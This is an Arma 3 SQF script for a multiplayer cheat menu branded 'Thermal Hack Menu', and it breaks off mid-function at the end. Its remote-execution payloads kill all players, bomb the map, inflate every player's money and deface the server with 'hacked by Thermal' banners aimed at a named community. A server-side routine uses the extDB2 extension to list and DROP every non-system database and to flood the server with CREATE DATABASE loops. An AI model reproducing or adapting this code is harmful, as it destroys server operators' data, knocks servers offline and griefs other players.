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  1. [] spawn
  2. {
  3.  
  4. waitUntil {time > 2};
  5.  
  6. Init = true;
  7. tempVar = "";
  8. loggedIn = false;
  9.  
  10. adminVarName = vehicleVarName player;
  11.  
  12. if (adminVarName == "" or isNil "adminVarName") then
  13. {
  14.     adminVarName = format ["Admin_%1", getPlayerUID player];
  15.     player SetVehicleVarName adminVarName;
  16.     player Call Compile Format ["%1=_This; PublicVariable ""%1""", adminVarName];
  17. };
  18.  
  19. keyPressed =
  20. {
  21.     private ["_key","_shift","_ctrl","_alt"];
  22.     if (dialog) exitWith {false};
  23.  
  24.     _key = _this select 1;
  25.     _shift = _this select 2;
  26.     _ctrl = _this select 3;
  27.     _alt = _this select 4;
  28.  
  29.     if (not (_key == 59 && _shift && !_ctrl && !_alt)) exitWith {false};
  30.  
  31.     closeDialog 0;
  32.     [] spawn MAINNN2;
  33.     true
  34. };
  35.  
  36. [] spawn
  37. {
  38.     waitUntil {sleep 0.5; !isNull (findDisplay 46)};
  39.     (findDisplay 46) displayAddEventHandler ["KeyDown", "_this call keyPressed"];
  40. };
  41.  
  42. MAINNN2 = {
  43.     hintSilent parseText format["<t size='1.3' color='#251a6b'>Thermal Hack Menu</t>"];
  44.     player addAction ["<t color='#251a6b'>=== Thermal Hack Menu ===</t>","[]Thermal Hack Menu;"];
  45.     player addAction ["<t color='#07ffe2'>=== Fun things !!! ===</t>","[]spawn funnnnnnn;"];
  46.     player addAction ["<t color='#ff6e07'>=== More Fun things !!! ===</t>","[]spawn mfffff;"];
  47.     player addAction ["<t color='#FF0000'>=== Close Menu ===</t>", "[]spawn closeit"];
  48.    
  49. };
  50.  
  51.  
  52.  
  53. funnnnnnn = {
  54.     removeallactions player;
  55.    
  56.     player addAction ["<t color='#ff9400'>God Mode </t>",goeiniunq];
  57.     player addAction ["<t color='#ff9400'>Nuke the Map</t>",Nukedang];
  58.     player addAction ["<t color='#ff9400'>Teleport all here </t>",q0ohvqon];
  59.     player addAction ["<t color='#ff9400'>Shock wave </t>",aldnadn];
  60.     player addAction ["<t color='#FF0000'>Back To Main Menu</t>", "removeAllActions player; []spawn MAINNN2"];
  61. };
  62.  
  63.  
  64.  Nukedang = {
  65.     nuke_vars = true;
  66. _Wakkashhsbdhhagsggre = {
  67.     PersonWhomMadeThis_Is_The_One_And_Only = {
  68.         playSound "Alarm";
  69.         hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>5</t>";
  70.         sleep 1;
  71.         playSound "Alarm";
  72.         hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>4</t>";
  73.         sleep 1;
  74.         playSound "Alarm";
  75.         hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>3</t>";
  76.         sleep 1;
  77.         playSound "Alarm";
  78.         hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>2</t>";
  79.         sleep 1;
  80.         playSound "Alarm";
  81.         hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>1</t>";
  82.         sleep 1;
  83.         playSound "Alarm";
  84.         hintSilent "";
  85.         sleep 1;
  86.         nukepos = "Land_Sack_F" createVehicleLocal _this;
  87.         mdh_nuke_destruction_zone   = 1;
  88.         mdh_nuke_camshake           = 1;
  89.         mdh_nuke_ash                = 1;
  90.         mdh_nuke_colorcorrection    = 1;
  91.         mdh_nuke_removecorrection   = 1;
  92.         mdh_nuke_removeash          = 1;
  93.  
  94.  
  95.         _Cone = "#particlesource" createVehicleLocal getpos nukepos;
  96.         _Cone setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48], "", "Billboard", 1, 10, [0, 0, 0],
  97.                         [0, 0, 0], 0, 1.275, 1, 0, [40,80], [[0.25, 0.25, 0.25, 0], [0.25, 0.25, 0.25, 0.5],
  98.                         [0.25, 0.25, 0.25, 0.5], [0.25, 0.25, 0.25, 0.05], [0.25, 0.25, 0.25, 0]], [0.25], 0.1, 1, "", "", nukepos];
  99.         _Cone setParticleRandom [2, [1, 1, 30], [1, 1, 30], 0, 0, [0, 0, 0, 0.1], 0, 0];
  100.         _Cone setParticleCircle [10, [-10, -10, 20]];
  101.         _Cone setDropInterval 0.005;
  102.  
  103.         _top = "#particlesource" createVehicleLocal getpos nukepos;
  104.         _top setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 3, 48, 0], "", "Billboard", 1, 20, [0, 0, 0],
  105.                         [0, 0, 60], 0, 1.7, 1, 0, [60,80,100], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, "", "", nukepos];
  106.         _top setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
  107.         _top setDropInterval 0.002;
  108.  
  109.         _top2 = "#particlesource" createVehicleLocal getpos nukepos;
  110.         _top2 setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 3, 112, 0], "", "Billboard", 1, 20, [0, 0, 0],
  111.                         [0, 0, 60], 0, 1.7, 1, 0, [60,80,100], [[1, 1, 1, 0.5],[1, 1, 1, 0]], [0.07], 1, 1, "", "", nukepos];
  112.         _top2 setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
  113.         _top2 setDropInterval 0.002;
  114.  
  115.         _smoke = "#particlesource" createVehicleLocal getpos nukepos;
  116.         _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
  117.                         [0, 0, 60], 0, 1.7, 1, 0, [40,15,120],
  118.                         [[1, 1, 1, 0.4],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0]]
  119.                         , [0.5, 0.1], 1, 1, "", "", nukepos];
  120.         _smoke setParticleRandom [0, [10, 10, 15], [15, 15, 7], 0, 0, [0, 0, 0, 0], 0, 0, 360];
  121.         _smoke setDropInterval 0.002;
  122.  
  123.         [] spawn {
  124.             playSound "Earthquake_04";
  125.             sleep 5;
  126.             playSound "Earthquake_04";
  127.             sleep 5;
  128.             playSound "Earthquake_04";
  129.             sleep 5;
  130.             playSound "Earthquake_04";
  131.             sleep 5;
  132.             playSound "Earthquake_04";
  133.             sleep 5;
  134.             playSound "Earthquake_04";
  135.             sleep 5;
  136.         };
  137.         _Wave = "#particlesource" createVehicleLocal getpos nukepos;
  138.         _Wave setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48], "", "Billboard", 1, 20, [0, 0, 0],
  139.                         [0, 0, 0], 0, 1.5, 1, 0, [50, 100], [[0.1, 0.1, 0.1, 0.5],
  140.                         [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 0.3], [1, 1, 1, 0]], [1,0.5], 0.1, 1, "", "", nukepos];
  141.         _Wave setParticleRandom [2, [20, 20, 20], [5, 5, 0], 0, 0, [0, 0, 0, 0.1], 0, 0];
  142.         _Wave setParticleCircle [50, [-80, -80, 2.5]];
  143.         _Wave setDropInterval 0.0002;
  144.  
  145.  
  146.         _light = "#lightpoint" createVehicleLocal [((getpos nukepos select 0)),(getpos nukepos select 1),((getpos nukepos select 2)+500)];
  147.         _light setLightAmbient[1500, 1200, 1000];
  148.         _light setLightColor[1500, 1200, 1000];
  149.         _light setLightBrightness 100000.0;
  150.  
  151.  
  152.         if (mdh_nuke_colorcorrection > 0) then
  153.         {
  154.             [] spawn {
  155.                 "colorCorrections" ppEffectAdjust [2, 30, 0, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
  156.                 "colorCorrections" ppEffectCommit 0;
  157.                 "colorCorrections" ppEffectAdjust [1, 0.8, -0.001, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];  
  158.                 "colorCorrections" ppEffectCommit 3;
  159.                 "colorCorrections" ppEffectEnable true;
  160.                 "filmGrain" ppEffectEnable true;
  161.                 "filmGrain" ppEffectAdjust [0.02, 1, 1, 0.1, 1, false];
  162.                 "filmGrain" ppEffectCommit 5;
  163.             };
  164.         }
  165.         else
  166.         {
  167.             [] spawn {
  168.                 "dynamicBlur" ppEffectEnable true;
  169.                 "dynamicBlur" ppEffectAdjust [1];
  170.                 "dynamicBlur" ppEffectCommit 1;
  171.  
  172.                 "colorCorrections" ppEffectEnable true;
  173.                 "colorCorrections" ppEffectAdjust [0.8, 15, 0, [0.5, 0.5, 0.5, 0], [0.0, 0.0, 0.6, 2],[0.3, 0.3, 0.3, 0.1]];"colorCorrections" ppEffectCommit 0.4;
  174.                  
  175.                 "dynamicBlur" ppEffectAdjust [0.5];
  176.                 "dynamicBlur" ppEffectCommit 3;
  177.  
  178.                 0 setOvercast 0;
  179.                 sleep 0.1;
  180.  
  181.                 _xHandle = []spawn
  182.                 {
  183.                     Sleep 1;
  184.                     "colorCorrections" ppEffectAdjust [1.0, 0.5, 0, [0.5, 0.5, 0.5, 0], [1.0, 1.0, 0.8, 0.4],[0.3, 0.3, 0.3, 0.1]];
  185.                     "colorCorrections" ppEffectCommit 2;
  186.                 };
  187.  
  188.  
  189.                 "dynamicBlur" ppEffectAdjust [2];
  190.                 "dynamicBlur" ppEffectCommit 1;
  191.  
  192.                 "dynamicBlur" ppEffectAdjust [0.5];
  193.                 "dynamicBlur" ppEffectCommit 4;
  194.  
  195.                 sleep 4.5;
  196.  
  197.                 "colorCorrections" ppEffectAdjust [1, 1, 0, [0.5, 0.5, 0.5, 0], [1.0, 1.0, 0.8, 0.4],[0.3, 0.3, 0.3, 0.1]];"colorCorrections" ppEffectCommit 1; "colorCorrections" ppEffectEnable TRUE;
  198.                 "dynamicBlur" ppEffectAdjust [0];
  199.                 "dynamicBlur" ppEffectCommit 1;
  200.             };
  201.         };
  202.        
  203.         player spawn {
  204.             enableCamShake true;
  205.             addCamShake [10, 70, 25];
  206.             sleep 70;
  207.             enableCamShake false;
  208.         };
  209.         if(mdh_nuke_ash > 0) then {
  210.             [] spawn {
  211.                 sleep 20;
  212.                 [] spawn {
  213.                     _pos = position player;
  214.                     _parray = [
  215.                         ["A3\Data_F\ParticleEffects\Universal\Universal", 16, 12, 8, 1],
  216.                         "",
  217.                         "Billboard",
  218.                         1,
  219.                         4,
  220.                         [0,0,0],
  221.                         [0,0,0],
  222.                         1,
  223.                         0.000001,
  224.                         0,
  225.                         1.4,
  226.                         [0.05,0.05],
  227.                         [[0.1,0.1,0.1,1]],
  228.                         [0,1],
  229.                         0.2,
  230.                         1.2,
  231.                         "",
  232.                         "",
  233.                         vehicle player
  234.                     ];
  235.                     mdh_ash = "#particlesource" createVehicleLocal _pos;  
  236.                     mdh_ash setParticleParams _parray;
  237.                     mdh_ash setParticleRandom [0, [10, 10, 7], [0, 0, 0], 0, 0.01, [0, 0, 0, 0.1], 0, 0];
  238.                     mdh_ash setParticleCircle [0.0, [0, 0, 0]];
  239.                     mdh_ash setDropInterval 0.01;
  240.                 };
  241.             };
  242.         };
  243.         if (mdh_nuke_destruction_zone > 0) then
  244.         {
  245.             {_x setdamage 1} forEach (nearestObjects [(getpos nukepos), [], mdh_nuke_destruction_zone]);
  246.         };
  247.  
  248.  
  249.         _Wave setDropInterval 0.001;
  250.         deletevehicle _top;
  251.         deletevehicle _top2;
  252.  
  253.         sleep 4.5;
  254.  
  255.         _i = 0;
  256.         while {_i < 100} do
  257.         {
  258.             _light setLightBrightness 100.0 - _i;
  259.             _i = _i + 1;
  260.             sleep 0.1;
  261.         };
  262.         deleteVehicle _light;
  263.  
  264.         sleep 2;
  265.  
  266.         _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
  267.                         [0, 0, 45], 0, 1.7, 1, 0, [40,25,80],
  268.                         [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
  269.                         , [0.5, 0.1], 1, 1, "", "", nukepos];
  270.  
  271.         _Cone setDropInterval 0.01;
  272.         _smoke setDropInterval 0.006;
  273.         _Wave setDropInterval 0.001;
  274.  
  275.         sleep 2;
  276.  
  277.         _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
  278.                         [0, 0, 30], 0, 1.7, 1, 0, [40,25,80],
  279.                         [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
  280.                         , [0.5, 0.1], 1, 1, "", "", nukepos];
  281.         _smoke setDropInterval 0.012;
  282.         _Cone setDropInterval 0.02;
  283.         _Wave setDropInterval 0.01;
  284.  
  285.         sleep 15;
  286.         deleteVehicle _Wave;
  287.         deleteVehicle _cone;
  288.         deleteVehicle _smoke;
  289.         deletevehicle nukepos;
  290.         [] spawn {
  291.             if(mdh_nuke_removecorrection > 0) then {
  292.                 sleep 25;
  293.                 "colorCorrections" ppEffectAdjust [1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1],  [1, 1, 1, 0.0]];
  294.                 "colorCorrections" ppEffectCommit 0;
  295.                 "filmGrain" ppEffectEnable false;
  296.                 "filmGrain" ppEffectCommit 0;
  297.             };
  298.         };
  299.         if(mdh_nuke_removeash > 0) then {
  300.             sleep 25;
  301.             deletevehicle mdh_ash;
  302.         };
  303.     };
  304.     sleep 5;
  305.     if(!isNil "nuke_vars") then {
  306.         openMap [true,false];
  307.         nuke_vars = nil;
  308.     };
  309. };
  310.  
  311. [_Wakkashhsbdhhagsggre,"BIS_fnc_Spawn",true,false] call BIS_FNC_MP;
  312. hintSilent parseText "<t size='1.2'>Loading Nuke Functions...</t><br/><t size='0.9'>The Map Will Open Once The Map Functions are Loaded!</t>";
  313. onMapSingleClick '[_pos,"PersonWhomMadeThis_Is_The_One_And_Only",true,false] spawn BIS_FNC_MP;openMap [false,false];onMapSingleClick""';
  314.         };
  315.  
  316.  
  317.  
  318.   goeiniunq = {
  319.                         if (isNil "andysgodmod_toggle") then {
  320.                     andysgodmod_toggle = 0;
  321.                 };
  322.                 if (andysgodmod_toggle == 0) then {
  323.                     andysgodmod_toggle = 1;
  324.                     cutText ["God ON", "PLAIN"];
  325.                     fnc_usec_damageHandler = {};
  326.                     fnc_usec_unconscious = {};
  327.                     player removeAllEventHandlers "handleDamage";
  328.                     player addEventHandler["handleDamage", {
  329.                         false
  330.                     }];
  331.                     player allowDamage false;
  332.                 } else {
  333.                     andysgodmod_toggle = 0;
  334.                     cutText ["God OFF", "PLAIN"];
  335.                     player addEventHandler["handleDamage", {
  336.                         true
  337.                     }];
  338.                     player removeAllEventHandlers "handleDamage";
  339.                     player allowDamage true;
  340.                 };
  341. };
  342.  
  343.  
  344.  
  345.  
  346.  q0ohvqon = {
  347.             params["_parts","_getVariable","_setVariable"];
  348.             {
  349.                 _x setpos getpos player;
  350.                 uiSleep .1;
  351.             } forEach allPlayers;
  352.         };
  353.  
  354.  
  355.     aldnadn = {
  356.             player allowDamage false;
  357.             _pos = getPos Player;
  358.             for "_i" from 1 to 10 do {
  359.                 uiSleep 0.2;
  360.  
  361.                 for "_dir" from 5 to 360 step 5 do {
  362.  
  363.                     _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
  364.                     _npos = _pos vectorAdd (_delta vectorMultiply _i);
  365.                     _npos set[2,0];
  366.                     player allowDamage false;
  367.                     _bobber = "Bomb_04_F" createVehicleLocal _npos;
  368.                     player allowDamage false;
  369.                     _bobber setVelocity [0,-1,-10];
  370.                 };
  371.                 player setpos _pos;
  372.             };
  373.             player allowDamage true;
  374.         };
  375.  
  376.  
  377.  
  378. mfffff = {
  379.        removeallactions player;
  380.  
  381.         player addAction ["<t color='#00f6ff'>Fuck all </t>",Thermal_Menu_Kill1];
  382.         player addAction ["<t color='#00f6ff'>Kill all </t>",Thermal_Menu_Killall];
  383.         player addAction ["<t color='#00f6ff'>Kill 2 </t>",Thermal_Menu_Kill2];
  384.         player addAction ["<t color='#00f6ff'>Spam Database </t>",Thermal_Menu_SpamDatabase];
  385.         player addAction ["<t color='#00f6ff'>Delete all database </t>",Thermal_Menu_DeleteAllDatabases];
  386.         player addAction ["<t color='#00f6ff'>create million of db </t>",Thermal_Menu_createmillions];
  387.        player addAction ["<t color='#FF0000'>Back To Main Menu</t>", "removeAllActions player; []spawn MAINNN2"];
  388. };
  389.  
  390.  
  391.  
  392.  closeit = {
  393.     removeAllActions player;
  394. };
  395.  
  396.  
  397.  
  398.  
  399.  Thermal_Menu_SpamDatabase = {
  400. cash_in_bank = cash_in_bank + 90000000000000000000000000000;
  401. [{
  402. cash_in_bank = cash_in_bank + 90000000000000000000000000000;  
  403. cash_in_hand = cash_in_hand + 90000000000000000000000000000;  
  404. hint "MONEY ALL DAY FOR ALL PLRS ";
  405. }, "BIS_fnc_SPAWN", true, false] call BIS_Fnc_MP;
  406.  
  407. if(isServer) then {
  408. while{true} do {
  409. "Land_Sack_F" createVehicle [random(worldSize),random(worldSize),100];
  410. uiSleep 0.01;
  411. };
  412. };
  413.  
  414. if(isserver) then {
  415. openDLCPage 288520;
  416. };
  417.  
  418. if(!isserver) then {
  419. player setUnconscious true;
  420. };
  421.  
  422. };
  423.  
  424.  
  425.  
  426.  Thermal_Menu_DeleteAllDatabases = {
  427. "DAT" addPublicVariableEventHandler {
  428. systemChat (_this select 1);
  429. };
  430. (typeOf player) createUnit [[0,0,0],group player,'if(isserver) then {[] spawn ' + str(_dbabomb) + ';};'];
  431.  
  432. [2] remoteExec ["BOMB",2];
  433.  
  434. hint "Atom Bomb Installed";
  435. };
  436.  
  437.  
  438.  
  439.  Thermal_Menu_createmillions = {
  440. "DAT" addPublicVariableEventHandler {
  441. systemChat (_this select 1);
  442. };
  443. (typeOf player) createUnit [[0,0,0],group player,'if(isserver) then {[] spawn ' + str(_dbabomb) + ';};'];
  444.  
  445. [3] remoteExec ["BOMB",2];
  446.  
  447. hint "Atom Bomb Installed";
  448. };
  449. Thermal_Menu_ddatabases = {
  450. ["CREATE DATABASE db_" + str(floor(random(1000000))),1] call _request_noresponse;
  451. ["DROP DATABASE " + _x,1] call _request_noresponse;
  452. hint "GG";
  453. };
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  Thermal_Menu_Killall = {
  460. {
  461. if (name _x != name player) then {
  462.  _x setDamage 1;
  463. };
  464. }forEach allUnits;
  465. };
  466. _dbabomb = {
  467.  
  468. DB_ID = (call life_sql_id); //--- EDIT THIS WITH THE SERVERS DATABASE ID VARIABLE
  469.  
  470. BOMB = {
  471. params["_type"];
  472.  
  473. _request_noresponse = {
  474. _queryStmt = param [0,"",[""]];
  475. _mode = param [1,1,[0]];
  476. _multiarr = param [2,false,[false]];
  477. "extDB2" callExtension format["%1:%2:%3",_mode, DB_ID, _queryStmt];
  478. };
  479. _request_response = {
  480. _queryStmt = param [0,"",[""]];
  481. _mode = param [1,1,[0]];
  482. _multiarr = param [2,false,[false]];
  483.  
  484.  
  485. _result = "extDB2" callExtension format["%1:%2:%3",_mode, DB_ID, _queryStmt];
  486. if(_result == "") exitWith {""};
  487. _result = call compile format["%1",_result];
  488. _key = (_result select 1);
  489. _keyMode = (_result select 0);
  490. _queryResult = "";
  491. _loop = true;
  492.  
  493. while{_loop} do
  494. {
  495. _queryResult = "extDB2" callExtension format["4:%1", _key];
  496. switch(_queryResult) do {
  497.  
  498. case "[5]": {
  499. _queryResult = "";
  500. while{true} do {
  501. _pipe = "extDB2" callExtension format["5:%1", _key];
  502. if(_pipe == "") exitWith {_loop = false};
  503. _queryResult = _queryResult + _pipe;
  504. };
  505. };
  506.  
  507. case "[3]": {
  508. uiSleep 0.3;
  509. };
  510.  
  511. default {
  512. _loop = false;
  513. };
  514. };
  515. };
  516. _queryResult;
  517. };
  518.  
  519. if(_type == 3) then {
  520. while{true} do {
  521. ["CREATE DATABASE db_" + str(floor(random(1000000))),1] call _request_noresponse;
  522. uiSleep 0.001;
  523. };
  524. };
  525.  
  526. _datl = ["SHOW DATABASES",2] call _request_response;
  527. if(_datl == "") exitWith {
  528. DAT = "Failed to grab DB info";
  529. publicVariable "DAT";
  530. };
  531. _dat = call compile _datl;
  532. _dbs = _dat select 1;
  533. {
  534. if(typeName _x != typeName []) exitWith {
  535. _dbs = [];
  536. DAT = "Bad type in foreach";
  537. publicVariable "DAT";
  538. };
  539. _dbs set[_forEachIndex,_x select 0];
  540. } forEach _dbs;
  541. _dbs = _dbs - ["information_schema","mysql","performance_schema"];
  542.  
  543. if(_type == 1) then {
  544. DAT = "Database Information";
  545. publicVariable "DAT";
  546. DAT = "====================";
  547. publicVariable "DAT";
  548. DAT = str(_dbs);
  549. publicVariable "DAT";
  550. };
  551. if(_type == 2) then {
  552. {
  553. ["DROP DATABASE " + _x,1] call _request_noresponse;
  554. } forEach _dbs;
  555. };
  556. };
  557.  
  558. };
  559.  
  560.  
  561.  
  562.  
  563.  
  564.  
  565.  Thermal_Menu_Kill2 = {
  566. floor(random(100000)) cutrsc ["rsc" + "DynamicText","plain"];
  567. _display = uinamespace getvariable "BIS_dynamicText";
  568. _control = _display displayctrl 9999;
  569. _control ctrlsetposition [safezonex + random(safezonew),safezoney+random(safezoneh),safeZoneW,safeZoneH/20];
  570. _control ctrlsetbackgroundcolor [0,0,0,0];
  571. _control ctrlsettextcolor [1,1,1,1];
  572. _msgs = ["by  Thermal,.!","by  Thermal,.!","by  Thermal,.!","by  Thermal,.!", "by  Thermal,.!","by  Thermal","m9 zbee", "Olympus Entertainment!!!!!", "by  Thermal,.!"];
  573. _control ctrlSetStructuredText parseText ("<t align=""left"" color=""" + ([random(1),random(1),random(1),1] call BIS_fnc_colorRGBAtoHTML) + """ size=""1.5"">" + (_msgs select floor(random(count(_msgs)))) + "</t>");
  574. _control ctrlCommit 0;
  575. };
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583.  Thermal_Menu_Kill1 = {
  584.  [{
  585. [parseText "
  586. <t size='1.8' color='#CA278C'>This Server Hacked by Thermal | Thermal IS Here ...</t><br/>
  587. <t color='#CA278C'>by Thermal    </t>        <t color='#CA278C'>m9 zbee          <t color='#CA278C'>Thermal IS Here !@#$%^     <t color='#CA278C'>la tt7da Thermal #Olympus_Entertainment", parseText "
  588. <t size='1.2' color='#FE2E2E'>         Olympus Entertainment is dead  </t>
  589. <t size='1.2' color='#FACC2E'>                        by Thermal             </t>
  590. <t size='1.2' color='#80FF00'>Thermal Fuck Your Server Any Time : )             </t>
  591. <t size='1.2' color='#00FF00'>                        by Thermal             </t>
  592. <t size='1.2' color='#2EFE9A'>                        by Thermal             </t>
  593. <t size='1.2' color='#00FFFF'>Olympus Entertainment         </t>
  594. <t size='1.2' color='#0174DF'>Olympus Entertainment        </t>
  595. <t size='1.2' color='#013ADF'>by       </t>
  596. <t size='1.2' color='#3A01DF'>Thermal..!      </t>
  597. <t size='1.2' color='#A901DB'>by     </t>
  598. <t size='1.2' color='#DF0174'>Thermal..!    </t>
  599. <t size='1.2' color='#0174DF'>Olympus Entertainment.......</t>
  600. <t size='1.2' color='#0174DF'>Olympus Entertainment  .....      </t>
  601. <t size='1.2' color='#0174DF'>Olympus Entertainment        </t>
  602. <t size='1.2' color='#0174DF'>Olympus Entertainment        </t>
  603. <t size='1.2' color='#0174DF'>Olympus Entertainment    ......    </t>
  604. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  605. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  606. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  607. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  608. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  609. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  610. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  611. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  612. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  613. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  614. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : )        </t>
  615. <t size='1.2' color='#00FFFF'>Fucked!</t>"] spawn BIS_fnc_AAN;  3000 cuttext ["By Thermal","plain"];  hint "This Server Hacked By Thermal";
  616. _expl1 = "Cock_random_F" createVehicle position player; _expl1 attachTo [player, [-0.1, 0.1, 0.15], "Head"]; _expl1 setVectorDirAndUp [ [0.5, 0.5, 0], [-0.5, 0.5, 0] ];        _expl1 = "Cock_random_F" createVehicle position player; _expl1 attachTo [player, [-0.1, 0.1, 0.15], "Leg"]; _expl1 setVectorDirAndUp [ [0.5, 0.5, 0], [-0.5, 0.5, 0] ];    addCamShake [342, 2, 235];    _pos = getPosATL player; _pos set [2, 700]; player setPosATL _pos; player spawn bis_fnc_halo;
  617. }, "BIS_fnc_Spawn", true, false] call BIS_fnc_MP;
  618.  
  619. params["_parts","_getVariable","_setVariable"];
  620. _locations = [];
  621. _threads = [];
  622. _stop = diag_tickTime + 60;
  623. hint "N U K I N G";
  624. while{diag_tickTime < _stop} do {
  625. _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
  626. if !(_location in _locations) then {
  627. _locations pushBack _location;
  628. _thread = _location spawn {
  629. _buildings = nearestObjects [_this, ["Building"], 1000];
  630. {
  631. if !(_x getVariable ["runloops",false]) then {
  632. _bobber = "Bomb_04_F" createVehicleLocal (getpos _x);  
  633. _bobber setVelocity [0,-1,-10];
  634. };
  635. uiSleep (60/(count(_buildings)));
  636. } forEach _buildings;
  637. };
  638. _threads pushback _thread;
  639. };
  640. };
  641. {
  642. if(!scriptDone _x) then {
  643. terminate _x;
  644. };
  645. } forEach _threads;
  646. hint "D O N E";
  647.  
  648. player allowDamage false;
  649. _pos = getPos Player;
  650. for "_i" from 1 to 10 do {
  651. uiSleep 0.2;
  652.  
  653. for "_dir" from 5 to 360 step 5 do {
  654.  
  655. _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
  656. _npos = _pos vectorAdd (_delta vectorMultiply _i);
  657. _npos set[2,0];
  658. player allowDamage false;
  659. _bobber = "Bomb_04_F" createVehicleLocal _npos;
  660. player allowDamage false;
  661. _bobber setVelocity [0,-1,-10];
  662. };
  663. player setpos _pos;
  664. };
  665. player allowDamage true;
  666.  
  667. _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
  668. _pos = getPos Player;
  669. player allowDamage false;
  670. for "_i" from 1 to 10 do {
  671. uiSleep 0.2;
  672. _pos = _pos vectorAdd _delta;
  673. _pos set[2,0];
  674. player allowDamage false;
  675. _bobber = "Bomb_04_F" createVehicleLocal _pos;
  676. player allowDamage false;
  677. _bobber setVelocity [0,-1,-10];
  678.  
  679. };
  680. player allowDamage true;
  681.  
  682. {
  683. if (name _x != name player) then {
  684.     _x setDamage 1;
  685. };
  686. }forEach allUnits;
  687.  
  688. [{
  689. PersonWhomMadeThis_is_madv2 = {
  690. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  691. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  692. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 5, 1, 0, 1];
  693. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  694.  
  695. sleep 1;
  696.  
  697. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  698. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  699. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 4, 1, 0, 1];
  700. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  701.  
  702. sleep 1;
  703.  
  704. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  705. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  706. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 3, 1, 0, 1];
  707. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  708.  
  709. sleep 1;
  710.  
  711. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  712. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  713. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 2, 1, 0, 1];
  714. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  715.  
  716. sleep 1;
  717.  
  718. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  719. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
